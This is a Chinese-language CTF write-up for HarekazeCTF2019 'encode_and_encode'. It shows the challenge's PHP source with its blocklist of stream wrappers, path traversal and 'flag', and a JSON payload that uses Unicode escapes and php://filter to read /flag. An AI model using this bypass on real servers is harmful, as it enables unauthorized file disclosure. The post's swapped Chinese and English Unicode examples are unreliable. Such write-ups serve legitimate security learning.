JSON转义字符绕过


前言

在 json 中,为了更好的传输中文,json对中文进行了Unicode编码,这样一来,我们在解析json之前,就得要先将json数据中的Unicode编码转换为我们使用的中文。根据以上原理,我们就可以使用 Unicode 编码来绕过json中对关键字的过滤,比如,flag 就等于 \u0066\u006c\u0061\u0067

image-20201027193103843

Unicode又称为统一码、万国码、单一码,它是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。可以想象Unicode作为一个“字符大容器”,它将世界上所有的符号都包含其中,并且每一个符号都有自己独一无二的编码,这样就从根本上解决了乱码的问题。所以Unicode是一种所有符号的编码

中文的Unicode编码:\u0054\u0068\u0069\u0073\u0020\u0069\u0073\u0020

英文的Unicode编码:这是个例子

注意二者的不同。

[HarekazeCTF2019]encode_and_encode

进入题目:

image-20201027193317476

点击Source Code,得到源码:

image-20201027193349207

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

大概就是传一个json编码的数据,然后json解码,进行is_valid黑名单过滤,过滤了“flag”和一大堆php伪协议。然后使用file_get_contents读取json数据里page所指向的文件,再对读出来的内容进行一次黑名单过滤,也就是既对原始数据,又对文件内容进行了过滤,由于json使支持unicode编码的,所以可以用unicode代替关键字,又由于flag文件中也包含 flag 关键字,所以返回 not found,这样就无法明文读取 flag了,但我们可以用伪协议base64编码来读取。

payload如下所示:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

image-20201027194019486

解码即可得到flag。


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC